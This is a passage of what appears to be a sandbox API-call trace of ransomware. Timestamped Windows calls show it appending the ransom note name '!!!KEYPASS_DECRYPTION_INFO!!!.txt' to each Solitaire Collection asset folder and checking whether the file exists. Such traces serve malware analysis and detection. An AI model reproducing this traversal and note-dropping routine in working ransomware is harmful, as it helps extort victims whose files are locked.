Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.101] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.109] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.109] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.109] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\FreeCell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\FreeCell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.109] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\FreeCell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.109] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0290.109] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.109] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\FreeCell\\ResPacks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\FreeCell\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.109] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\FreeCell\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.110] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.110] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.110] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Klondike\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Klondike\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.110] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Klondike\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.110] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0290.110] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.110] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Klondike\\ResPacks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Klondike\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.110] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Klondike\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.111] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.111] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.112] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Localization\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Localization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.112] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Localization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.118] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.118] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.118] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Particles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Particles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.118] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Particles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.118] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.118] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.118] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Pyramid\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Pyramid\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.118] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Pyramid\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.119] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0290.119] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.119] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Pyramid\\ResPacks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Pyramid\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.119] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Pyramid\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.120] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.120] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.120] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Spider\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Spider\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.120] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Spider\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.120] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0290.120] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.120] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Spider\\ResPacks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Spider\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.120] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Spider\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.121] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.121] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.121] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Theme\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Theme\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.121] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\Theme\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.121] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.121] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.121] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\TriPeaks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\TriPeaks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.121] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\TriPeaks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.122] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0290.122] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.122] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\TriPeaks\\ResPacks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\TriPeaks\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.122] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\TriPeaks\\ResPacks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.123] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.123] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.123] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.123] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.128] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.128] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.128] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\DailyChallenges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\DailyChallenges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.128] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\DailyChallenges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.134] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.134] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.134] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\FreeCell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\FreeCell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.134] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\FreeCell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.140] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.140] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.140] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Klondike\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Klondike\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.140] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Klondike\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.145] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.145] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.145] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Pyramid\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Pyramid\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.145] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Pyramid\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.150] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.150] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.150] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Spider\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Spider\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.150] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\Spider\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.155] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.155] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.155] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\StarClub\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\StarClub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.155] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\StarClub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.156] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.156] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.156] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\TriPeaks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\TriPeaks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.156] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\HowToPlay\\TriPeaks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.161] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.161] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.161] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.161] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.167] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.167] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.167] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Livetiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Livetiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.167] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Livetiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.171] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.171] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.171] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\MainPage\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\MainPage\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.171] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\MainPage\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.176] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.176] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: 